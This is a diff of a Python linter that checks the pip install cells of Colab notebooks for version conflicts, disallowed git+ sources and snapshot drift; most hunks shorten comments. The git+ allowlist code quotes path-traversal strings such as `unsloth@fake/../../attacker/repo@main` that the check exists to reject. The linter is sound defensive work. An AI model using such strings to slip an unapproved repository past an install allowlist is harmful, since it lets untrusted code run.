+ # break leaves the innermost loop, not the enclosing if; outside a loop bash ignores it.
loop = [n for n, word in enumerate(openers) if word in ("while", "until", "for")]
if loop:
- # `break n` jumps out of the n-th enclosing loop, so `break 2` in a nested body leaves both
- # and the outer body stops too. A count past the nesting leaves every loop, as bash does.
+ # `break n` leaves n enclosing loops; a count past the nesting leaves all.
_, _, level = (
_strip_exec_prefixes(text.lstrip("!").strip())[0].strip().partition(" ")
)
depth = int(level.strip()) if level.strip().isdigit() else 1
broke_at = loop[max(len(loop) - depth, 0)] + 1
- # A defined body is conditional until something calls it: `setup() { pip install x; }; setup`
- # definitely installs, and leaving it conditional dropped the pairing from the replay.
- # `outer() { inner; }; outer` reaches `inner` only after `outer` is replayed, so the call graph
- # is walked to a fixed point.
- # A call only reaches a definition that already exists: `f || true; f() { ... }` fails at the
- # call, so the name alone is not enough.
+ # A body is conditional until called; walk the call graph to a fixed point. A call reaches
+ # only a definition that already exists.
def _definition_in_force(name: str, at: int) -> str | None:
"""The definition of `name` complete before position `at`, or None."""
best = None
@@ -2211,9 +1993,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
if key is not None and key not in reached:
reached.add(key)
pending_calls.append(key)
- # A call the notebook MAY make, inside `${READY:-$(f)}` say, reaches the body without making
- # anything in it certain: leaving it out pruned a body bash can run, and `called` would have
- # replayed it as unconditional.
+ # A maybe-call (inside ${X:-$(f)}) reaches the body without making it certain.
soft = {
key
for name, at in maybe_called
@@ -2228,8 +2008,7 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
reached.add(key)
soft.add(key)
soft_pending.append(key)
- # A body nobody calls is UNREACHABLE, not merely conditional: bash defines `f` and stops, and
- # the all-path rules read conditional commands, so leaving it in reported a phantom source.
+ # An uncalled body is unreachable, not conditional.
unreached: set[int] = set()
for name, entries in body_entries.items():
for position, entered in entries:
@@ -2239,7 +2018,6 @@ def _split_chained(line: str) -> list[tuple[str, bool]]:
ordered[position] = (ordered[position][0], entered)
else:
unreached.add(position)
- # The call itself hands the shell over, so nothing the caller writes after it can run.
cut = min(
(
call_at[key.split("#")[0]]
@@ -2275,7 +2053,6 @@ def iter_pip_invocations(install_cell: str) -> Iterator[PipInvocation]:
yield inv
-# Spec parsing: only what we need (no full PEP 440).
SPEC_RE = re.compile(r"^(?P<name>[A-Za-z0-9._-]+)(?:\[[^\]]*\])?(?P<rest>.*)$")
OP_VERSION_RE = re.compile(r"(==|>=|<=|!=|~=|>|<)\s*([0-9][^,;\s]*)")
@@ -2316,8 +2093,6 @@ def explicit_pin(spec: SpecParts) -> str | None:
# ----- PyPI metadata cache ----- #
-
-
def pypi_metadata(name: str, version: str) -> dict[str, Any] | None:
PYPI_CACHE_DIR.mkdir(parents = True, exist_ok = True)
safe = re.sub(r"[^A-Za-z0-9._-]", "_", f"{name.lower()}__{version}")
@@ -2346,7 +2121,6 @@ def transitive_constraint(name: str, version: str, target: str) -> tuple[str | N
requires = info.get("requires_dist") or []
target_l = target.lower()
for req in requires:
- # Examples: 'tokenizers (<=0.23.0,>=0.22.0)', 'tokenizers <=0.23.0,>=0.22.0', 'tokenizers (>=0.22.0,<=0.23.0); python_version >= "3.9"'
head = req.split(";", 1)[0].strip()
m = re.match(r"^([A-Za-z0-9._-]+)\s*\(?([^)]*)?\)?\s*$", head)
if not m:
@@ -2385,8 +2159,6 @@ def constraint_satisfied(version: str, ops: list[tuple[str, str]]) -> bool:
# ----- Resolved set ----- #
-
-
def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]:
"""Merge install-cell constraints with Colab pip-freeze (cell wins). Resolution order per package: (1) exact `==V` pin, (2) upper-bound `<=V` (pip picks the highest allowed = V), (3) Colab fallback. Lower-bound `>=V` is intentionally NOT reflected (it does not lower an already-higher Colab version); R-INST-003 models that via `_install_cell_lower_bound`."""
out = dict(colab)
@@ -2397,15 +2169,12 @@ def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]:
if _is_dry_run(inv):
continue
if inv.action == "uninstall":
- # The cell removed it, so the environment it leaves behind has no such package and neither
- # should this: ignoring the verb left the rules judging something `pip uninstall` had just
- # deleted. The accumulated bound goes too, or a later reinstall inherits it.
+ # Uninstall removes the package and its accumulated bound, or a reinstall inherits it.
for raw in inv.packages:
sp = parse_spec(raw)
if sp is None:
continue
- # PEP 503 makes `huggingface_hub` and `huggingface-hub` one project and the snapshot is keyed
- # the second way, so popping the spelling as written left the removed package in place.
+ # PEP 503: pop both the written and canonical spellings.
for key in {sp.name, _canonical_project(sp.name)}:
out.pop(key, None)
pinned.discard(key)
@@ -2422,7 +2191,6 @@ def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]:
elif op == "<=" and sp.name not in pinned:
if sp.name not in upper_bounds or cmp_versions(ver, upper_bounds[sp.name]) < 0:
upper_bounds[sp.name] = ver
- # Apply upper bounds where Colab's preinstall violates them.
for name, ub in upper_bounds.items():
if name in pinned:
continue
@@ -2433,10 +2201,7 @@ def resolved_set(install_cell: str, colab: dict[str, str]) -> dict[str, str]:
# ----- Rules ----- #
-
-
-# A `git+` target runs to the next shell or quoting boundary. Case-insensitive: pip
-# normalises `Git+https://` to the same link.
+# Case-insensitive: pip normalises `Git+https://`.
_GIT_SOURCE_RE = re.compile(r"""git\+[^\s'"]+""", re.IGNORECASE)
@@ -2445,25 +2210,19 @@ def _git_source_repository(source: str) -> str:
Matched as a path, not a substring: an arbitrary repository can carry
`github.com/unslothai/unsloth` inside its own path, which a substring test reads as permission."""
- # The raw scan keeps a substitution's closing bracket, and `unsloth.git)` matched no allowlist
- # entry, so a permitted install was reported. Quotes and brackets are shell syntax, never part
- # of a repository path.
+ # Quotes and brackets are shell syntax, never part of a repository path.
source = source.strip().rstrip(")}`\"'")
remainder = source.split("+", 1)[1] if "+" in source else source
- # pip normalises the scheme, so the comparison is on the lowered host and path below.
remainder = remainder.split("://", 1)[-1]
host, _, path = remainder.partition("/")
host = host.rsplit("@", 1)[-1] # drop any credentials
path = path.split("#", 1)[0].split("?", 1)[0]
- # The LAST `@` after the repo path is the revision delimiter (pip VCS docs), so splitting at
- # the first read `unslothai/unsloth@fake/../../attacker/repo@main` as the allowlisted repo.
+ # The last `@` is the revision delimiter, so `repo@fake/../../x@main` cannot pass.
path = path.rsplit("@", 1)[0].rstrip("/")
- # `unsloth.GIT` is the same repository: the host and path are lowered further down, so a
- # case-sensitive strip left `.GIT` on and the entry then matched nothing.
+ # Case-insensitive `.git` strip, since host and path are lowered below.
if path.lower().endswith(".git"):
path = path[: -len(".git")]
- # Resolve `.` and `..` as a URL client does, or `unslothai/unsloth/../../attacker/repo`
- # reads as an allowlisted prefix.
+ # Resolve `.` and `..` as a URL client does, or traversal reads as an allowlisted prefix.
segments: list[str] = []
for segment in path.split("/"):
if segment in ("", "."):
@@ -2501,8 +2260,7 @@ def rule_inst_001_git_plus(install_cell: str, file: str, cell_idx: int) -> list[
continue
sources += _GIT_SOURCE_RE.findall(command)
sources += [arg for arg in inv.packages if arg.lower().startswith("git+")]
- # Per source, not per line: one allowlisted repository beside a prohibited one must
- # not clear the whole line.
+ # Per source, not per line: one allowlisted repo must not clear a prohibited one.
if not sources or all(_git_source_is_allowed(source) for source in sources):
continue
findings.append(
@@ -2539,8 +2297,7 @@ def _removed_by_cell(
continue # `--dry-run` reports what pip WOULD do and changes nothing
if inv.action == "install" and not _requirement_applies(raw, environment):
continue # pip skips a requirement its marker excludes, so nothing is put back
- # Replayed in order: `pip uninstall x; pip install x` leaves x installed, and answering on the
- # first uninstall claimed a removal pip puts straight back.
+ # Replayed in order: `pip uninstall x; pip install x` leaves x installed.
removed = inv.action == "uninstall"
return removed
@@ -2561,7 +2318,6 @@ def rule_inst_002_no_deps_transitive(
v = explicit_pin(sp)
if v is None:
continue
- # Check transitive constraints on a curated short list of pkgs.
for target in (
"tokenizers",
"torchao",
@@ -2615,8 +2371,7 @@ def _install_cell_lower_bound(
if _is_dry_run(inv):
continue # pip makes no environment changes, so it places no floor on anything
if inv.action == "uninstall":
- # The cell removed it, so no earlier line still places a floor on it. Keeping the
- # bound let R-INST-003 accept an environment the package is no longer in.
+ # The cell removed it, so no earlier line still floors it.
if any(
(sp := parse_spec(raw)) is not None and sp.name == target for raw in inv.packages
):
@@ -2650,8 +2405,7 @@ def _compatible_release_ceiling(version: str) -> str | None:
return ".".join(head)
-# pip takes an archive URL or path as an install target while parse_spec skips anything with a
-# `://`, so a wheel read as no install. PEP 427 puts the version in the filename's second field.
+# pip accepts archive URLs/paths; PEP 427 puts the version in the filename's second field.
_ARCHIVE_RE = re.compile(
r"(?P<name>[A-Za-z0-9._-]+?)-(?P<version>\d[^-]*?)(?:-.*)?\.(?:whl|tar\.gz|zip)$",
re.IGNORECASE,
@@ -2665,9 +2419,7 @@ def _archive_requirement(argument: str) -> tuple[str, str | None] | None:
`torchcodec @ https://.../v0.13.0.zip`: the package is replaced, by something this cannot name."""
named, sep, reference = argument.partition("@")
if sep and "://" in reference:
- # A PEP 508 marker rides on the end of a direct reference, and left in place it made the
- # archive regex fail, so the package read as replaced by an unknown version. Only for that
- # branch, where the URL is delimited; a `;` in a bare path is a legal character.
+ # Strip a PEP 508 marker from a delimited URL; `;` is legal in a bare path.
reference = reference.split(";", 1)[0]
argument = reference.strip()
named = named.strip().split("[", 1)[0].replace("_", "-").lower()
@@ -2735,7 +2487,6 @@ def _window_names_one_minor(
if ceiling is None:
return False
next_minor = _compatible_release_ceiling(f"{version_minor(floor)}.0")
- # Padded: `<0.11.0` and `<0.11` name the same boundary.
return next_minor is not None and cmp_releases(ceiling, next_minor) <= 0
@@ -2760,7 +2511,6 @@ def _spec_window(
floor = ver
floor_excludes_itself = op == ">"
elif cmp_releases(ver, floor) == 0 and op == ">":
- # Same version, stricter operator: intersecting them keeps the exclusion.
floor_excludes_itself = True
elif op == "<=":
if cap is None or cmp_versions(ver, cap) < 0:
@@ -2775,8 +2525,7 @@ def _spec_window(
return exact, floor, cap, ceiling, exclusions, floor_excludes_itself
-# Flags that stop pip treating what is installed as satisfying an unbounded requirement, so
-# it resolves from the index instead of leaving the version alone.
+# Flags that make pip resolve from the index instead of keeping what is installed.
_RESOLVE_ANYWAY_LONG = frozenset({"--upgrade", "--force-reinstall", "--ignore-installed"})
_RESOLVE_ANYWAY_SHORT = frozenset({"U", "I"})
@@ -2818,7 +2567,6 @@ def _highest_minor_below(ceiling: str) -> str:
return f"{major}.{minor}"
if minor >= 1:
return f"{major}.{minor - 1}"
- # `<2.0` lands somewhere in the 1.x line, and which minor that is only the index knows.
return ""
@@ -2849,19 +2597,16 @@ def _effective_version(
exact_known = True
for inv in unconditional_pip_invocations(install_cell):
if "--dry-run" in inv.flags:
- # A resolution probe leaves the environment exactly as it was, so replaying its bounds
- # reported a version the cell never installed.
+ # A resolution probe leaves the environment unchanged.
continue
- # One command names a project once as far as pip is concerned: it intersects repeated
- # arguments into a single requirement, so they have to be one window here too.
+ # pip intersects repeated arguments into one requirement, so treat them as one window.
pins: list[tuple[str, str]] = []
named = False
replaced_unnamed = False
for raw in inv.packages:
if not _requirement_applies(raw, environment):
continue # pip skips it, so its bounds never move anything
- # Before parse_spec, which reads `./torchcodec-0.13.0-...whl` as a project called
- # `.` and hides the archive behind a name that never matches.
+ # Before parse_spec, which reads `./x-1.0.whl` as a project called `.`.
archive = _archive_requirement(raw)
if archive is not None:
if archive[0] == target:
@@ -2882,33 +2627,25 @@ def _effective_version(
current = None # removed; a later install can put it back
continue
if not pins and not replaced_unnamed and _forces_resolution(inv.flags):
- # A bare name with any of these takes whatever the index offers, and nothing
- # here names which release that is.
current, exact_known = None, True
continue
if replaced_unnamed:
current, exact_known = None, True
continue
exact, floor, cap, ceiling, exclusions, exclusive_floor = _spec_window(pins)
- # Where an install lands when it has to move, or None when nothing names it.
landing = floor if _window_names_one_minor(floor, ceiling, cap) else None
if landing is not None and _split_prerelease(landing)[1]:
- # `~=0.12.0rc1` admits the stable 0.12 releases too and pip takes the newest candidate, so the
- # window names the MINOR rather than the prerelease, which PEP 440 sorts below the ABI floor.
- # Only where the window admits it: `>=0.12.0a1,<0.12.0rc1` stops below every stable 0.12.
+ # `~=0.12.0rc1` admits stable 0.12 too, so name the minor, but only where the window admits it.
core = _split_prerelease(landing)[0]
if (cap is None or cmp_versions(core, cap) <= 0) and (
ceiling is None or cmp_versions(core, ceiling) < 0
):
landing = core
if landing is None and ceiling is not None:
- # A wider window still names the MINOR pip moves to, which is what the callers
- # compare; without it `<0.10.5` and `>=0.8,<0.11` came back unknown.
below = _highest_minor_below(ceiling)
if below and (floor is None or cmp_versions(below, floor) >= 0):
landing = below
- # A requirement satisfies EVERY specifier it carries, so an inclusive cap the exclusive ceiling
- # rules out is not where pip lands: `>=0.8,<=0.11,<0.10` takes the newest of 0.8 to 0.9.x.
+ # Every specifier applies, so an inclusive cap the exclusive ceiling excludes is not the landing.
cap_exact = True
if cap is not None and ceiling is not None and cmp_versions(cap, ceiling) >= 0:
cap, cap_exact = landing, landing is not None
@@ -2916,38 +2653,27 @@ def _effective_version(
current, exact_known = exact, True
elif current is None or _forces_resolution(inv.flags):
forced_off = current is not None # got here by --upgrade over an installed one
- # `--upgrade` takes the newest available version, so an installed release that merely SATISFIES
- # the range is not where it lands: `-U "torchcodec>=0.10,<0.12"` on 0.10 moves to 0.11.
- # Absent, so the install puts it there and the only question is where: `<=V` names it exactly,
- # a floor says how low, and an exclusive ceiling names nothing, the release below it being
- # only in the index.
+ # `--upgrade` takes the newest admitted version, not the installed one. Absent: `<=V` names it,
+ # a floor bounds it, and an exclusive ceiling names nothing.
if cap is not None:
current, exact_known = cap, cap_exact
elif landing is not None and floor is not None:
- # pip takes the newest release a BOUNDED window admits, so `>=0.10,<0.12` lands on 0.11, not on
- # its floor. A ceiling with no floor under it stays unknown, as above: nothing bounds the guess.
+ # pip takes the newest release a bounded window admits.
current, exact_known = landing, True
elif floor is not None:
- # `>V` does not admit V itself, but an INEXACT bound is only read by checks that hold for every
- # release at or above it, so one extra version can only under-report. Dropping it entirely left
- # `pip install "torch>2.11"` beside torchcodec 0.10 unreported.
+ # A >V bound does not admit V itself; an inexact floor is read only by checks that hold above it.
current, exact_known = floor, False
elif (
forced_off
and landing is not None
and cmp_versions(version_minor(current), landing) == 0
):
- # `--upgrade "x<0.12"` on an installed 0.11 cannot leave the 0.11 line: not above the ceiling,
- # and an upgrade does not go below what is there. The minor is the granularity these rules
- # compare, so dropping it hid a pairing every admitted release breaks.
+ # An upgrade with a ceiling cannot leave the installed minor.
current, exact_known = landing, True
elif forced_off:
- # `--upgrade` moves to the newest available release, so what is installed is not where it
- # lands, and with a ceiling and no floor nothing names the landing either.
current, exact_known = None, True
elif floor is not None and (
cmp_versions(floor, current) > 0
- # `>V` is not satisfied by V itself, so equality still forces a move.
or (exclusive_floor and cmp_versions(floor, current) == 0)
):
if cap is not None:
@@ -2955,26 +2681,19 @@ def _effective_version(
elif landing is not None:
current, exact_known = landing, True # the window pins the minor
else:
- # At least the floor, possibly newer. `>V` excludes V itself, but as above an inexact bound
- # carrying one extra version is sound, and discarding it silenced the rule.
current, exact_known = floor, False
elif cap is not None and cmp_versions(current, cap) > 0:
current, exact_known = cap, cap_exact # `<=V` allows V, so V is what pip picks
elif ceiling is not None and cmp_versions(current, ceiling) >= 0:
current, exact_known = landing, True
- # Whatever is left still has to satisfy the requirement's own exclusions.
if current is not None and any(_version_is_excluded(current, ver) for ver in exclusions):
- # `>=0.11,<0.12,!=0.11.0` stays in the 0.11 line, so only an exclusion covering the whole minor
- # takes the landing away. The landing comes off the CEILING alone, so it is checked against the
- # rest of the window: `<=0.10.0,!=0.10.0,<0.12` can only resolve below 0.10.
+ # Only an exclusion covering the whole minor removes the landing; check it against the window.
if (
landing is not None
and (cap is None or cmp_versions(landing, cap) <= 0)
and (ceiling is None or cmp_versions(landing, ceiling) < 0)
and (floor is None or cmp_versions(landing, floor) >= 0)
and not any(_exclusion_covers_minor(landing, ver) for ver in exclusions)
- # An inclusive cap pins the landing to that exact release, so excluding it leaves nothing in
- # the minor: `<0.12,<=0.11,!=0.11.0` cannot resolve to any 0.11.
and not (
cap is not None
and cmp_versions(landing, cap) == 0
@@ -3024,7 +2743,6 @@ def _codec_works_above(torch_floor: str, codec_minor: str) -> bool:
A floor is normally too weak to judge, since the row that applies depends on where pip lands,
but not when every candidate is excluded: `torch>=2.11` with `torchcodec==0.10` fails on 2.11
and on everything past it, whichever release pip picks."""
- # Past the table, only the ABI rule can apply, and it needs a codec at or above its floor.
if at_least(codec_minor, TORCHCODEC_ABI_STABLE_CODEC):
return True
return any(
@@ -3045,14 +2763,8 @@ def rule_inst_004_torchcodec_torch(
)
if not torch_v or not codec_v:
return findings
- # torchcodec 0.12+ is ABI-stable against torch >=2.11 (its build sets TORCH_TARGET_VERSION to
- # 2.11), so that half of the matrix is open-ended rather than a finite set of minors. Without
- # it the 2.11 row would flag torchcodec 0.12 through 0.15, all of which upstream supports.
- # An inexact version is a floor, which is enough for a check that only asks whether both
- # sides clear a floor of their own.
- # An inexact codec is a FLOOR, and a prerelease floor admits the stable release above it, so
- # `torchcodec>=0.12.0rc1` may land on 0.12 itself. Compared as written it stayed below the ABI
- # floor and fired on an upgrade range whose every stable member is fine.
+ # torchcodec 0.12+ is ABI-stable against torch >= 2.11 (TORCH_TARGET_VERSION 2.11).
+ # An inexact prerelease floor admits the stable release above it.
codec_clears_abi = at_least(codec_v, TORCHCODEC_ABI_STABLE_CODEC) or (
not codec_exact and cmp_versions(version_minor(codec_v), TORCHCODEC_ABI_STABLE_CODEC) >= 0
)
@@ -3066,7 +2778,6 @@ def rule_inst_004_torchcodec_torch(
return findings # torch older than the table — don't flag
if not codec_exact and not at_least(c_minor, TORCHCODEC_ABI_STABLE_CODEC):
return findings # a newer codec above this floor would be ABI-stable and fine
- # Past the ABI floor with a pre-0.12 codec: locked to an older torch minor.
findings.append(
Finding(
rule = "R-INST-004",
@@ -3079,8 +2790,7 @@ def rule_inst_004_torchcodec_torch(
)
return findings
if not torch_exact:
- # The row that applies depends on which torch the floor resolves to, unless no release at or
- # above it can take this codec at all, which fails whichever torch pip picks.
+ # The row depends on which torch the floor resolves to, unless no release above it fits.
if codec_exact and not _codec_works_above(t_minor, c_minor):
findings.append(
Finding(
@@ -3094,7 +2804,6 @@ def rule_inst_004_torchcodec_torch(
)
return findings
if not codec_exact and cmp_versions(c_minor, sorted(allowed)[-1]) <= 0:
- # Some release at or above the floor is in the row, so nothing is proven.
return findings
if c_minor not in allowed:
findings.append(
@@ -3192,8 +2901,6 @@ def rule_inst_006_double_bang(install_cell: str, file: str, cell_idx: int) -> li
# ----- AST-level rules over user-facing cells ----- #
-
-
class _APIScanner(ast.NodeVisitor):
"""Scan user-facing code cells for known deprecated patterns. R-API-001 (`for_training`/`for_inference`) is intentionally absent: those helpers are still live as of 2026-05 (PR #221 removed them cosmetically, not as a deprecation). R-API-004 catches actual removals dynamically."""
@@ -3203,7 +2910,6 @@ class _APIScanner(ast.NodeVisitor):
self.findings: list[Finding] = []
def visit_Call(self, node: ast.Call) -> None:
- # SFTConfig with suboptimal optim (R-API-003). PR #221 also stripped gradient_checkpointing kwargs from some vision notebooks, but they are still accepted by live TRL (trl==0.25.1) so that was cosmetic; R-API-004 catches real drift.
if isinstance(node.func, ast.Name) and node.func.id == "SFTConfig":
for kw in node.keywords:
if (
@@ -3242,7 +2948,6 @@ def scan_user_cells(nb: dict[str, Any], file: str) -> list[Finding]:
# ----- DONT_UPDATE_EXCEPTIONS coverage ----- #
-
POLICY_CLAUSES_DEFAULT = [
# (id, regex, applies_to_predicate_on_install_cell_text)
(
@@ -3274,8 +2979,7 @@ def rule_l12_exceptions_coverage(notebooks_dir: pathlib.Path) -> list[Finding]:
continue
nb = load_notebook(path)
for idx, cell in install_cells(nb):
- # install_cells is a text heuristic, so `!echo "pip install peft"` reaches here running no pip
- # and `applies` then demands a clause the notebook has no install to carry.
+ # install_cells is a text heuristic; `!echo "pip install x"` runs no pip.
if not any(True for _ in iter_pip_invocations(cell)):
continue
for cid, pat, applies in clauses:
@@ -3311,24 +3015,19 @@ def _extract_dont_update_exceptions(update_script: pathlib.Path) -> list[str]:
# ----- Drift ----- #
-
-
def cmd_drift(args: argparse.Namespace) -> int:
nbdir = pathlib.Path(args.notebooks_dir).resolve()
update_script = nbdir / "update_all_notebooks.py"
if not update_script.is_file():
print(f"FAIL: {update_script} not found", file = sys.stderr)
return 2
- # Stash any pre-existing dirty state, run the updater, diff, restore.
head = subprocess.check_output(["git", "rev-parse", "HEAD"], cwd = nbdir).decode().strip()
subprocess.run(
["git", "-C", str(nbdir), "stash", "--include-untracked"],
check = False,
capture_output = True,
)
- # The restore MUST run even on SystemExit/KeyboardInterrupt, else the
- # working tree stays rolled back into the stash. A bare try/finally keeps
- # the original exception while still running the cleanup (stash pop).
+ # try/finally so the stash pop runs even on SystemExit or KeyboardInterrupt.
findings: list[Finding] = []
rc: int
try:
@@ -3373,7 +3072,6 @@ def cmd_drift(args: argparse.Namespace) -> int:
)
rc = 0 if not findings else 1
finally:
- # Restore the working tree (both commands run regardless of exit path).
subprocess.run(
["git", "-C", str(nbdir), "checkout", "."],
check = False,
@@ -3389,8 +3087,6 @@ def cmd_drift(args: argparse.Namespace) -> int:
# ----- Convert ----- #
-
-
def cmd_convert(args: argparse.Namespace) -> int:
nbdir = pathlib.Path(args.notebooks_dir).resolve()
out = pathlib.Path(args.out).resolve()
@@ -3399,7 +3095,6 @@ def cmd_convert(args: argparse.Namespace) -> int:
if not converter.is_file():
print(f"FAIL: {converter} not found", file = sys.stderr)
return 2
- # Convert in batches; the script accepts multiple notebooks at once.
notebooks = list(iter_notebooks(nbdir, include_templates = True))
failed: list[Finding] = []
BATCH = 32
@@ -3427,12 +3122,9 @@ def cmd_convert(args: argparse.Namespace) -> int:
# ----- Lint (combined) ----- #
-
-
def cmd_lint(args: argparse.Namespace) -> int:
nbdir = pathlib.Path(args.notebooks_dir).resolve()
colab_path = pathlib.Path(args.colab_pin).resolve() if args.colab_pin else COLAB_FALLBACK_FILE
- # Pair the marker oracle with the package snapshot actually being used.
_set_colab_oracle_dir(colab_path.parent)
colab = parse_pip_freeze(colab_path)
if not colab:
@@ -3458,20 +3150,14 @@ def cmd_lint(args: argparse.Namespace) -> int:
continue
rel = str(path.relative_to(nbdir))
env = target_environment(rel)
- # Colab oracle applies only to Colab notebooks; other targets get the environment-agnostic rules only (their preinstalls aren't tracked).
oracle = colab if env == "colab" else {}
cells = install_cells(nb)
- # Per-cell forbid-pattern checks.
for idx, cell in cells:
findings += rule_inst_001_git_plus(cell, rel, idx)
findings += rule_inst_006_double_bang(cell, rel, idx)
- # Whole-notebook rules: install steps may span multiple cells, so merge
- # before resolving compat against Colab.
+ # Install steps may span cells, so merge before resolving.
merged = "\n".join(c for _, c in cells)
- # A cell can look like an install and resolve nothing: `!echo "pip install foo"` runs no pip,
- # and `!command -v uv || pip install foo` runs it only on the fallback side. The compat rules
- # replay UNCONDITIONAL invocations, so both would compare the oracle against itself and report
- # the base image. R-INST-001 still sees the conditional path: it runs per cell, before this.
+ # Compat rules replay only unconditional invocations; R-INST-001 already saw conditional ones.
if not any(True for _ in unconditional_pip_invocations(merged)):
merged = ""
if env == "colab" and merged:
@@ -3487,8 +3173,6 @@ def cmd_lint(args: argparse.Namespace) -> int:
# ----- Exceptions coverage ----- #
-
-
def cmd_exceptions(args: argparse.Namespace) -> int:
findings = rule_l12_exceptions_coverage(pathlib.Path(args.notebooks_dir).resolve())
_emit(findings)
@@ -3544,8 +3228,6 @@ def cmd_api(args: argparse.Namespace) -> int:
# ----- Orchestrator ----- #
-
-
def cmd_all(args: argparse.Namespace) -> int:
rcs: list[int] = []
rcs.append(cmd_drift(argparse.Namespace(notebooks_dir = args.notebooks_dir)))
@@ -3571,8 +3253,7 @@ def _fetch_oracle(url: str) -> bytes | None:
return None
-# The packages the R-INST rules seed on. A pin file missing them makes every rule return early,
-# so a truncated 200 is refused rather than acknowledged: "parsed" is not "usable".
+# The R-INST rules seed on these, so a truncated payload is refused.
_COLAB_PIP_REQUIRED = frozenset(
{"torch", "torchcodec", "peft", "torchao", "transformers", "tokenizers"}
)
@@ -3597,7 +3278,7 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int:
"""Pull the latest Colab pip-freeze.gpu.txt and write to disk. --all refreshes every oracle file into --snapshot-dir instead, which is how a colab-diff drift report is acknowledged in one command."""
if args.all:
snapshot_dir = pathlib.Path(args.snapshot_dir).resolve()
- # Fetch everything before writing anything: writing as we go would let a transient failure leave a mixed-generation directory, and the tripwire would go quiet on a failed refresh.
+ # Fetch all before writing, so a transient failure cannot leave mixed generations.
payloads: dict[str, bytes] = {}
skipped: list[str] = []
for upstream_name, snapshot_name in COLAB_ORACLE_FILES.items():
@@ -3609,8 +3290,7 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int:
if data is None:
reason = "could not be fetched"
elif rule_bearing and not _oracle_payload_is_usable(upstream_name, data):
- # Acknowledging a payload the rules cannot read is worse than not acknowledging: colab-diff
- # compares the two parses, so a format change written in leaves both sides equally empty.
+ # A payload the rules cannot read would leave both diff sides equally empty.
reason = "carries no key the rules can read"
if reason is None:
payloads[snapshot_name] = data
@@ -3622,16 +3302,12 @@ def cmd_refresh_colab(args: argparse.Namespace) -> int:
file = sys.stderr,
)
return 2
- # Advisory oracle: nothing resolves a rule against it, so a transient upstream failure leaves
- # the stale snapshot in place rather than reddening the daily cron.
+ # Advisory oracle: keep the stale snapshot on a transient upstream failure.
print(f"::notice::skipping {upstream_name}: {reason}")
skipped.append(upstream_name)
snapshot_dir.mkdir(parents = True, exist_ok = True)
- # The set lands together or not at all. Each write is atomic on its own, but a failure part way
- # through left a fresh package list beside a stale Python version, and the workflow's `|| echo`
- # fallback then linted against it while reporting the committed snapshot.
- # Copies first, then writes: restoring by writing the bytes back needs the room the failure
- # just proved is missing. A rename cannot fail that way, the copy being on the same filesystem.
+ # The set lands together or not at all; copy aside first, since restoring by rewrite needs
+ # the space the failure proved missing.
preserved: dict[str, pathlib.Path] = {}
for name in payloads:
live = snapshot_dir / name
@@ -3737,12 +3413,9 @@ def _diff_oracle(
return new, removed, changed
-# Per oracle and key, what the consumer needs the VALUE to look like. `_parse_os_lines` emits a
-# `python` key for any line starting with `Python` while `_colab_python_version` accepts only
-# `Python <digits>`, so a reformat leaves both sides equal and markers quietly disabled.
+# Expected value shape per oracle key, so a reformat cannot quietly disable markers.
_STRICT_KEY_VALUE_RE: dict[tuple[str, str], "re.Pattern[str]"] = {
- # Matches what _COLAB_PYTHON_RE reads, prerelease included, so a rotation the parse
- # would truncate cannot be acknowledged as usable.
+ # Matches what _COLAB_PYTHON_RE reads, prerelease included.
("os-info-gpu.txt", "python"): re.compile(
r"^\d+(?:\.\d+)*(?:(?:a|b|rc)\d+)?(?:\.post\d+)?(?:\.dev\d+)?(?:\s|$)"
),
@@ -3770,8 +3443,7 @@ def cmd_colab_diff(args: argparse.Namespace) -> int:
upstream_text = r.read().decode("utf-8", errors = "replace")
except (urllib.error.URLError, urllib.error.HTTPError, TimeoutError) as e:
if upstream_name == COLAB_STRICT_ORACLE or upstream_name in COLAB_STRICT_ORACLE_KEYS:
- # Not compared is not "no drift": passing here reported success for a check that never ran. An
- # advisory file stays a warning, as its drift does.
+ # Not compared does not mean no drift.
any_diff = True
strict_diff = True
print(f"::error::colab-diff: could not fetch {url}: {e}")
@@ -3779,9 +3451,7 @@ def cmd_colab_diff(args: argparse.Namespace) -> int:
print(f"::warning::colab-diff: could not fetch {url}: {e}")
continue
if not snap_path.exists():
- # An absent snapshot is not "nothing to compare": without os-info's Python line markers
- # silently replay every requirement, so the strict-key declaration is consulted HERE, before
- # the continue, or --strict passed on a file that was never committed.
+ # Check strict keys before the continue, or --strict passes on a missing snapshot.
strict_file = upstream_name == COLAB_STRICT_ORACLE
strict_keys = COLAB_STRICT_ORACLE_KEYS.get(upstream_name, frozenset())
if strict_file or strict_keys:
@@ -3805,8 +3475,7 @@ def cmd_colab_diff(args: argparse.Namespace) -> int:
f"diff={n} (new={len(new)} removed={len(removed)} changed={len(changed)}) ==="
)
strict_keys = COLAB_STRICT_ORACLE_KEYS.get(upstream_name, frozenset())
- # Present in BOTH, not merely equal: a format change acknowledged into the snapshot leaves the
- # two parses identical and empty of the key, so no-drift passed while markers were disabled.
+ # Strict keys must be present in both, not merely equal.
missing_keys = sorted(
k
for k in strict_keys
@@ -3835,11 +3504,7 @@ def cmd_colab_diff(args: argparse.Namespace) -> int:
elif drifted_strict_keys:
strict_diff = True
print(f" (rule-bearing key drifted: {', '.join(drifted_strict_keys)})")
- # Every package in the pip oracle is rule-bearing -- the rules resolve a notebook's
- # installs against it -- so the caps below hide entries a reviewer may be looking for.
- # transformers 5.15.0 -> 5.16.1 sat past the CHANGED cap in the drift that prompted
- # --full, reading as though it had not moved at all. Name the flag in the elision so
- # the output says how to see the rest instead of leaving it to be guessed at.
+ # Every pip-oracle package is rule-bearing, so name --full in the elision.
cap_new = len(new) if args.full else 50
cap_removed = len(removed) if args.full else 50
cap_changed = len(changed) if args.full else 80
diff --git a/scripts/nvfp4_probe.py b/scripts/nvfp4_probe.py
index 902cf8a2d2c..97b2e994116 100644
--- a/scripts/nvfp4_probe.py
+++ b/scripts/nvfp4_probe.py
@@ -118,7 +118,7 @@ def main(argv = None) -> int:
print(
f" [{tag}] compile failed: {type(exc).__name__}: {str(exc)[:90]}", flush = True
)
- _gen(pipe, steps, seed, res) # warmup / compile
+ _gen(pipe, steps, seed, res)
dts, img = [], None
for _ in range(args.iters):
